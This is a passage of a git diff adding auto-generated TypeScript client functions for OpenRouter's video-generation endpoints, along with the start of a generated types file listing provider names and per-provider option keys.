'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + OpenrouterPostVideosAlibabaHappyhorse11Responses, + ThrowOnError + > + > +} + +/** + * @summary Generate a video with Alibaba: Wan 2.6 + * {@link /videos/alibaba/wan-2.6} + */ +export function openrouterPostVideosAlibabaWan26< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/alibaba/wan-2.6', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Generate a video with Alibaba: Wan 2.7 + * {@link /videos/alibaba/wan-2.7} + */ +export function openrouterPostVideosAlibabaWan27< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/alibaba/wan-2.7', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Generate a video with Alibaba: Wan 3.0 + * {@link /videos/alibaba/wan-3.0} + */ +export function openrouterPostVideosAlibabaWan30< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/alibaba/wan-3.0', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Generate a video with Alibaba: Wan 3.0 Prime + * {@link /videos/alibaba/wan-3.0-prime} + */ +export function openrouterPostVideosAlibabaWan30Prime< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/alibaba/wan-3.0-prime', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Generate a video with Black Forest Labs: FLUX 3 Video + * {@link /videos/black-forest-labs/flux-3-video} + */ +export function openrouterPostVideosBlackForestLabsFlux3Video< + ThrowOnError extends boolean = true, +>( + options: Options< + OpenrouterPostVideosBlackForestLabsFlux3VideoOptions, + ThrowOnError + >, +): Promise< + RequestResult< + OpenrouterPostVideosBlackForestLabsFlux3VideoResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/black-forest-labs/flux-3-video', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + OpenrouterPostVideosBlackForestLabsFlux3VideoResponses, + ThrowOnError + > + > +} + +/** + * @summary Generate a video with Black Forest Labs: FLUX Video Edit + * {@link /videos/black-forest-labs/flux-video-edit} + */ +export function openrouterPostVideosBlackForestLabsFluxVideoEdit< + ThrowOnError extends boolean = true, +>( + options: Options< + OpenrouterPostVideosBlackForestLabsFluxVideoEditOptions, + ThrowOnError + >, +): Promise< + RequestResult< + OpenrouterPostVideosBlackForestLabsFluxVideoEditResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/black-forest-labs/flux-video-edit', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + OpenrouterPostVideosBlackForestLabsFluxVideoEditResponses, + ThrowOnError + > + > +} + +/** + * @summary Generate a video with Black Forest Labs: FLUX Video Upscale + * {@link /videos/black-forest-labs/flux-video-upscale} + */ +export function openrouterPostVideosBlackForestLabsFluxVideoUpscale< + ThrowOnError extends boolean = true, +>( + options: Options< + OpenrouterPostVideosBlackForestLabsFluxVideoUpscaleOptions, + ThrowOnError + >, +): Promise< + RequestResult< + OpenrouterPostVideosBlackForestLabsFluxVideoUpscaleResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/black-forest-labs/flux-video-upscale', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + OpenrouterPostVideosBlackForestLabsFluxVideoUpscaleResponses, + ThrowOnError + > + > +} + +/** + * @summary Generate a video with ByteDance: Seedance 1.5 Pro + * {@link /videos/bytedance/seedance-1-5-pro} + */ +export function openrouterPostVideosBytedanceSeedance15Pro< + ThrowOnError extends boolean = true, +>( + options: Options< + OpenrouterPostVideosBytedanceSeedance15ProOptions, + ThrowOnError + >, +): Promise< + RequestResult< + OpenrouterPostVideosBytedanceSeedance15ProResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/bytedance/seedance-1-5-pro', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + OpenrouterPostVideosBytedanceSeedance15ProResponses, + ThrowOnError + > + > +} + +/** + * @summary Generate a video with ByteDance: Seedance 2.0 + * {@link /videos/bytedance/seedance-2.0} + */ +export function openrouterPostVideosBytedanceSeedance20< + ThrowOnError extends boolean = true, +>( + options: Options< + OpenrouterPostVideosBytedanceSeedance20Options, + ThrowOnError + >, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/bytedance/seedance-2.0', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + OpenrouterPostVideosBytedanceSeedance20Responses, + ThrowOnError + > + > +} + +/** + * @summary Generate a video with ByteDance: Seedance 2.0 Fast + * {@link /videos/bytedance/seedance-2.0-fast} + */ +export function openrouterPostVideosBytedanceSeedance20Fast< + ThrowOnError extends boolean = true, +>( + options: Options< + OpenrouterPostVideosBytedanceSeedance20FastOptions, + ThrowOnError + >, +): Promise< + RequestResult< + OpenrouterPostVideosBytedanceSeedance20FastResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/bytedance/seedance-2.0-fast', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + OpenrouterPostVideosBytedanceSeedance20FastResponses, + ThrowOnError + > + > +} + +/** + * @summary Generate a video with ByteDance: Seedance 2.0 Mini + * {@link /videos/bytedance/seedance-2.0-mini} + */ +export function openrouterPostVideosBytedanceSeedance20Mini< + ThrowOnError extends boolean = true, +>( + options: Options< + OpenrouterPostVideosBytedanceSeedance20MiniOptions, + ThrowOnError + >, +): Promise< + RequestResult< + OpenrouterPostVideosBytedanceSeedance20MiniResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/bytedance/seedance-2.0-mini', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + OpenrouterPostVideosBytedanceSeedance20MiniResponses, + ThrowOnError + > + > +} + +/** + * @summary Generate a video with ByteDance: Seedance 2.5 + * {@link /videos/bytedance/seedance-2.5} + */ +export function openrouterPostVideosBytedanceSeedance25< + ThrowOnError extends boolean = true, +>( + options: Options< + OpenrouterPostVideosBytedanceSeedance25Options, + ThrowOnError + >, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/bytedance/seedance-2.5', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + OpenrouterPostVideosBytedanceSeedance25Responses, + ThrowOnError + > + > +} + +/** + * @summary Generate a video with Google: Gemini Omni 1.1 Flash + * {@link /videos/google/gemini-omni-1.1-flash} + */ +export function openrouterPostVideosGoogleGeminiOmni11Flash< + ThrowOnError extends boolean = true, +>( + options: Options< + OpenrouterPostVideosGoogleGeminiOmni11FlashOptions, + ThrowOnError + >, +): Promise< + RequestResult< + OpenrouterPostVideosGoogleGeminiOmni11FlashResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/google/gemini-omni-1.1-flash', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + OpenrouterPostVideosGoogleGeminiOmni11FlashResponses, + ThrowOnError + > + > +} + +/** + * @summary Generate a video with Google: Gemini Omni 1.2 Flash + * {@link /videos/google/gemini-omni-1.2-flash} + */ +export function openrouterPostVideosGoogleGeminiOmni12Flash< + ThrowOnError extends boolean = true, +>( + options: Options< + OpenrouterPostVideosGoogleGeminiOmni12FlashOptions, + ThrowOnError + >, +): Promise< + RequestResult< + OpenrouterPostVideosGoogleGeminiOmni12FlashResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/google/gemini-omni-1.2-flash', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + OpenrouterPostVideosGoogleGeminiOmni12FlashResponses, + ThrowOnError + > + > +} + +/** + * @summary Generate a video with Google: Veo 3.1 + * {@link /videos/google/veo-3.1} + */ +export function openrouterPostVideosGoogleVeo31< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/google/veo-3.1', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Generate a video with Google: Veo 3.1 Fast + * {@link /videos/google/veo-3.1-fast} + */ +export function openrouterPostVideosGoogleVeo31Fast< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/google/veo-3.1-fast', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Generate a video with Google: Veo 3.1 Lite + * {@link /videos/google/veo-3.1-lite} + */ +export function openrouterPostVideosGoogleVeo31Lite< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/google/veo-3.1-lite', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Generate a video with HeyGen: Avatar IV + * {@link /videos/heygen/avatar-iv} + */ +export function openrouterPostVideosHeygenAvatarIv< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/heygen/avatar-iv', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Generate a video with HeyGen: HeyGen Video + * {@link /videos/heygen/heygen-video-1} + */ +export function openrouterPostVideosHeygenHeygenVideo1< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/heygen/heygen-video-1', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Generate a video with Kling: Video v3.0 Pro + * {@link /videos/kwaivgi/kling-v3.0-pro} + */ +export function openrouterPostVideosKwaivgiKlingV30Pro< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/kwaivgi/kling-v3.0-pro', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Generate a video with Kling: Video v3.0 Standard + * {@link /videos/kwaivgi/kling-v3.0-std} + */ +export function openrouterPostVideosKwaivgiKlingV30Std< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/kwaivgi/kling-v3.0-std', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Generate a video with Kling: Video O1 + * {@link /videos/kwaivgi/kling-video-o1} + */ +export function openrouterPostVideosKwaivgiKlingVideoO1< + ThrowOnError extends boolean = true, +>( + options: Options< + OpenrouterPostVideosKwaivgiKlingVideoO1Options, + ThrowOnError + >, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/kwaivgi/kling-video-o1', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + OpenrouterPostVideosKwaivgiKlingVideoO1Responses, + ThrowOnError + > + > +} + +/** + * @summary Generate a video with MiniMax: Hailuo 2.3 + * {@link /videos/minimax/hailuo-2.3} + */ +export function openrouterPostVideosMinimaxHailuo23< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/minimax/hailuo-2.3', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Generate a video with MiniMax: H3 + * {@link /videos/minimax/hailuo-3} + */ +export function openrouterPostVideosMinimaxHailuo3< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/minimax/hailuo-3', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Generate a video with MiniMax: H3 Max + * {@link /videos/minimax/hailuo-3-max} + */ +export function openrouterPostVideosMinimaxHailuo3Max< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/minimax/hailuo-3-max', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Generate a video with OpenAI: Sora 2 Pro + * {@link /videos/openai/sora-2-pro} + */ +export function openrouterPostVideosOpenaiSora2Pro< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/openai/sora-2-pro', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Generate a video with Runway: Aleph 2.0 + * {@link /videos/runway/aleph-2} + */ +export function openrouterPostVideosRunwayAleph2< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/runway/aleph-2', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Generate a video with Runway: Gen-4.5 + * {@link /videos/runway/gen-4.5} + */ +export function openrouterPostVideosRunwayGen45< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/runway/gen-4.5', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Generate a video with TBC: mischief 1 + * {@link /videos/tbc/mischief-1} + */ +export function openrouterPostVideosTbcMischief1< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/tbc/mischief-1', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Generate a video with SpaceXAI: Grok Imagine Video + * {@link /videos/x-ai/grok-imagine-video} + */ +export function openrouterPostVideosXAiGrokImagineVideo< + ThrowOnError extends boolean = true, +>( + options: Options< + OpenrouterPostVideosXAiGrokImagineVideoOptions, + ThrowOnError + >, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/x-ai/grok-imagine-video', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + OpenrouterPostVideosXAiGrokImagineVideoResponses, + ThrowOnError + > + > +} + +/** + * @summary Generate a video with SpaceXAI: Grok Imagine Video 1.5 + * {@link /videos/x-ai/grok-imagine-video-1.5} + */ +export function openrouterPostVideosXAiGrokImagineVideo15< + ThrowOnError extends boolean = true, +>( + options: Options< + OpenrouterPostVideosXAiGrokImagineVideo15Options, + ThrowOnError + >, +): Promise< + RequestResult< + OpenrouterPostVideosXAiGrokImagineVideo15Responses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/x-ai/grok-imagine-video-1.5', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + OpenrouterPostVideosXAiGrokImagineVideo15Responses, + ThrowOnError + > + > +} + +/** + * @summary Generate a video with SpaceXAI: Grok Imagine Video 1.5 Lite + * {@link /videos/x-ai/grok-imagine-video-1.5-lite} + */ +export function openrouterPostVideosXAiGrokImagineVideo15Lite< + ThrowOnError extends boolean = true, +>( + options: Options< + OpenrouterPostVideosXAiGrokImagineVideo15LiteOptions, + ThrowOnError + >, +): Promise< + RequestResult< + OpenrouterPostVideosXAiGrokImagineVideo15LiteResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/videos/x-ai/grok-imagine-video-1.5-lite', + security: [{ type: 'http', scheme: 'bearer' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + OpenrouterPostVideosXAiGrokImagineVideo15LiteResponses, + ThrowOnError + > + > +} diff --git a/packages/ai-openrouter/src/generated/client/types.ts b/packages/ai-openrouter/src/generated/client/types.ts new file mode 100644 index 0000000000..af542be3ca --- /dev/null +++ b/packages/ai-openrouter/src/generated/client/types.ts @@ -0,0 +1,43792 @@ +/** + * Generated by Kubb (https://kubb.dev/). + * Do not edit manually. + */ + +export const providerName = { + Modal: 'Modal', + AkashML: 'AkashML', + AI21: 'AI21', + AionLabs: 'AionLabs', + Alibaba: 'Alibaba', + Ambient: 'Ambient', + 'Ant Digital': 'Ant Digital', + Baidu: 'Baidu', + 'Amazon Bedrock': 'Amazon Bedrock', + 'Amazon Nova': 'Amazon Nova', + Anthropic: 'Anthropic', + 'Arcee AI': 'Arcee AI', + AssemblyAI: 'AssemblyAI', + AtlasCloud: 'AtlasCloud', + Avian: 'Avian', + Azure: 'Azure', + BaseTen: 'BaseTen', + BytePlus: 'BytePlus', + 'Black Forest Labs': 'Black Forest Labs', + Cerebras: 'Cerebras', + Chutes: 'Chutes', + Cirrascale: 'Cirrascale', + 'Claude Platform on AWS': 'Claude Platform on AWS', + Clarifai: 'Clarifai', + Cloudflare: 'Cloudflare', + Cohere: 'Cohere', + CoreWeave: 'CoreWeave', + Cosine: 'Cosine', + Crucible: 'Crucible', + Crusoe: 'Crusoe', + Darkbloom: 'Darkbloom', + Databricks: 'Databricks', + Decart: 'Decart', + Deepgram: 'Deepgram', + DeepInfra: 'DeepInfra', + DeepSeek: 'DeepSeek', + DekaLLM: 'DekaLLM', + DigitalOcean: 'DigitalOcean', + ElevenLabs: 'ElevenLabs', + Featherless: 'Featherless', + Fireworks: 'Fireworks', + 'Fish Audio': 'Fish Audio', + Friendli: 'Friendli', + GMICloud: 'GMICloud', + Google: 'Google', + 'Google AI Studio': 'Google AI Studio', + Groq: 'Groq', + HeyGen: 'HeyGen', + Inception: 'Inception', + Inceptron: 'Inceptron', + InferenceNet: 'InferenceNet', + Ionstream: 'Ionstream', + Infermatic: 'Infermatic', + 'Io Net': 'Io Net', + 'Inferact vLLM': 'Inferact vLLM', + Inflection: 'Inflection', + KT: 'KT', + Liquid: 'Liquid', + Makora: 'Makora', + Mara: 'Mara', + 'Mancer 2': 'Mancer 2', + Meta: 'Meta', + Minimax: 'Minimax', + ModelRun: 'ModelRun', + Mistral: 'Mistral', + Modular: 'Modular', + 'Moonshot AI': 'Moonshot AI', + Morph: 'Morph', + 'VoyageAI by MongoDB': 'VoyageAI by MongoDB', + TypeSafe: 'TypeSafe', + 'Near AI': 'Near AI', + Nebius: 'Nebius', + 'Nex AGI': 'Nex AGI', + NextBit: 'NextBit', + Novita: 'Novita', + Nvidia: 'Nvidia', + Ollama: 'Ollama', + OpenAI: 'OpenAI', + OpenInference: 'OpenInference', + Parallel: 'Parallel', + Parasail: 'Parasail', + ParetoAlpha: 'ParetoAlpha', + 'Particle AI': 'Particle AI', + 'Pearl Research': 'Pearl Research', + Poolside: 'Poolside', + PrimaLabs: 'PrimaLabs', + PrimeIntellect: 'PrimeIntellect', + Perceptron: 'Perceptron', + Perplexity: 'Perplexity', + Phala: 'Phala', + Recraft: 'Recraft', + Recursive: 'Recursive', + Reka: 'Reka', + Relace: 'Relace', + Respan: 'Respan', + River: 'River', + 'Sail Research': 'Sail Research', + 'Sakana AI': 'Sakana AI', + SambaNova: 'SambaNova', + ScaleDown: 'ScaleDown', + Seed: 'Seed', + SiliconFlow: 'SiliconFlow', + Sourceful: 'Sourceful', + StepFun: 'StepFun', + Stealth: 'Stealth', + StreamLake: 'StreamLake', + Switchpoint: 'Switchpoint', + Tencent: 'Tencent', + Tenstorrent: 'Tenstorrent', + 'Thinking Machines': 'Thinking Machines', + Together: 'Together', + Unbiased: 'Unbiased', + Upstage: 'Upstage', + Venice: 'Venice', + Wafer: 'Wafer', + WandB: 'WandB', + Quiver: 'Quiver', + Krea: 'Krea', + Runway: 'Runway', + Xiaomi: 'Xiaomi', + xAI: 'xAI', + 'Z.AI': 'Z.AI', + FakeProvider: 'FakeProvider', +} as const + +export type ProviderNameKey = (typeof providerName)[keyof typeof providerName] + +/** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"openai":{"max_tokens":1000}} + * @type object + */ +export type ProviderOptions = { + '01ai'?: { + [key: string]: unknown + } + ai21?: { + [key: string]: unknown + } + 'aion-labs'?: { + [key: string]: unknown + } + akashml?: { + [key: string]: unknown + } + alibaba?: { + [key: string]: unknown + } + 'amazon-bedrock'?: { + [key: string]: unknown + } + 'amazon-bedrock/claude-on-aws'?: { + [key: string]: unknown + } + 'amazon-nova'?: { + [key: string]: unknown + } + ambient?: { + [key: string]: unknown + } + antdigital?: { + [key: string]: unknown + } + anthropic?: { + [key: string]: unknown + } + 'anthropic/2'?: { + [key: string]: unknown + } + anyscale?: { + [key: string]: unknown + } + 'arcee-ai'?: { + [key: string]: unknown + } + assemblyai?: { + [key: string]: unknown + } + 'atlas-cloud'?: { + [key: string]: unknown + } + atoma?: { + [key: string]: unknown + } + avian?: { + [key: string]: unknown + } + azure?: { + [key: string]: unknown + } + baidu?: { + [key: string]: unknown + } + baseten?: { + [key: string]: unknown + } + 'black-forest-labs'?: { + [key: string]: unknown + } + byteplus?: { + [key: string]: unknown + } + centml?: { + [key: string]: unknown + } + cerebras?: { + [key: string]: unknown + } + chutes?: { + [key: string]: unknown + } + cirrascale?: { + [key: string]: unknown + } + clarifai?: { + [key: string]: unknown + } + 'claude-on-aws'?: { + [key: string]: unknown + } + cloudflare?: { + [key: string]: unknown + } + cohere?: { + [key: string]: unknown + } + coreweave?: { + [key: string]: unknown + } + cosine?: { + [key: string]: unknown + } + crofai?: { + [key: string]: unknown + } + crucible?: { + [key: string]: unknown + } + crusoe?: { + [key: string]: unknown + } + darkbloom?: { + [key: string]: unknown + } + databricks?: { + [key: string]: unknown + } + decart?: { + [key: string]: unknown + } + deepgram?: { + [key: string]: unknown + } + deepinfra?: { + [key: string]: unknown + } + deepseek?: { + [key: string]: unknown + } + dekallm?: { + [key: string]: unknown + } + digitalocean?: { + [key: string]: unknown + } + elevenlabs?: { + [key: string]: unknown + } + enfer?: { + [key: string]: unknown + } + 'fake-provider'?: { + [key: string]: unknown + } + featherless?: { + [key: string]: unknown + } + fireworks?: { + [key: string]: unknown + } + 'fish-audio'?: { + [key: string]: unknown + } + friendli?: { + [key: string]: unknown + } + gmicloud?: { + [key: string]: unknown + } + 'google-ai-studio'?: { + [key: string]: unknown + } + 'google-vertex'?: { + [key: string]: unknown + } + gopomelo?: { + [key: string]: unknown + } + groq?: { + [key: string]: unknown + } + heygen?: { + [key: string]: unknown + } + huggingface?: { + [key: string]: unknown + } + hyperbolic?: { + [key: string]: unknown + } + 'hyperbolic-quantized'?: { + [key: string]: unknown + } + inception?: { + [key: string]: unknown + } + inceptron?: { + [key: string]: unknown + } + 'inferact-vllm'?: { + [key: string]: unknown + } + 'inference-net'?: { + [key: string]: unknown + } + infermatic?: { + [key: string]: unknown + } + inflection?: { + [key: string]: unknown + } + inocloud?: { + [key: string]: unknown + } + 'io-net'?: { + [key: string]: unknown + } + ionstream?: { + [key: string]: unknown + } + klusterai?: { + [key: string]: unknown + } + krea?: { + [key: string]: unknown + } + kt?: { + [key: string]: unknown + } + lambda?: { + [key: string]: unknown + } + lepton?: { + [key: string]: unknown + } + liquid?: { + [key: string]: unknown + } + lynn?: { + [key: string]: unknown + } + 'lynn-private'?: { + [key: string]: unknown + } + makora?: { + [key: string]: unknown + } + mancer?: { + [key: string]: unknown + } + 'mancer-old'?: { + [key: string]: unknown + } + mara?: { + [key: string]: unknown + } + meta?: { + [key: string]: unknown + } + minimax?: { + [key: string]: unknown + } + mistral?: { + [key: string]: unknown + } + modal?: { + [key: string]: unknown + } + modelrun?: { + [key: string]: unknown + } + modular?: { + [key: string]: unknown + } + moonshotai?: { + [key: string]: unknown + } + morph?: { + [key: string]: unknown + } + ncompass?: { + [key: string]: unknown + } + 'near-ai'?: { + [key: string]: unknown + } + nebius?: { + [key: string]: unknown + } + 'nex-agi'?: { + [key: string]: unknown + } + nextbit?: { + [key: string]: unknown + } + nineteen?: { + [key: string]: unknown + } + novita?: { + [key: string]: unknown + } + nvidia?: { + [key: string]: unknown + } + octoai?: { + [key: string]: unknown + } + ollama?: { + [key: string]: unknown + } + 'open-inference'?: { + [key: string]: unknown + } + openai?: { + [key: string]: unknown + } + parallel?: { + [key: string]: unknown + } + parasail?: { + [key: string]: unknown + } + 'pareto-alpha'?: { + [key: string]: unknown + } + 'particle-ai'?: { + [key: string]: unknown + } + 'pearl-research'?: { + [key: string]: unknown + } + perceptron?: { + [key: string]: unknown + } + perplexity?: { + [key: string]: unknown + } + phala?: { + [key: string]: unknown + } + poolside?: { + [key: string]: unknown + } + primalabs?: { + [key: string]: unknown + } + primeintellect?: { + [key: string]: unknown + } + quiver?: { + [key: string]: unknown + } + recraft?: { + [key: string]: unknown + } + recursal?: { + [key: string]: unknown + } + recursive?: { + [key: string]: unknown + } + reflection?: { + [key: string]: unknown + } + reka?: { + [key: string]: unknown + } + relace?: { + [key: string]: unknown + } + replicate?: { + [key: string]: unknown + } + respan?: { + [key: string]: unknown + } + river?: { + [key: string]: unknown + } + runway?: { + [key: string]: unknown + } + 'sail-research'?: { + [key: string]: unknown + } + sakana?: { + [key: string]: unknown + } + 'sakana-ai'?: { + [key: string]: unknown + } + sambanova?: { + [key: string]: unknown + } + 'sambanova-cloaked'?: { + [key: string]: unknown + } + scaledown?: { + [key: string]: unknown + } + seed?: { + [key: string]: unknown + } + 'sf-compute'?: { + [key: string]: unknown + } + siliconflow?: { + [key: string]: unknown + } + sourceful?: { + [key: string]: unknown + } + stealth?: { + [key: string]: unknown + } + stepfun?: { + [key: string]: unknown + } + streamlake?: { + [key: string]: unknown + } + switchpoint?: { + [key: string]: unknown + } + targon?: { + [key: string]: unknown + } + tencent?: { + [key: string]: unknown + } + tenstorrent?: { + [key: string]: unknown + } + thinkingmachines?: { + [key: string]: unknown + } + together?: { + [key: string]: unknown + } + 'together-lite'?: { + [key: string]: unknown + } + typesafe?: { + [key: string]: unknown + } + ubicloud?: { + [key: string]: unknown + } + unbiased?: { + [key: string]: unknown + } + upstage?: { + [key: string]: unknown + } + venice?: { + [key: string]: unknown + } + voyageai?: { + [key: string]: 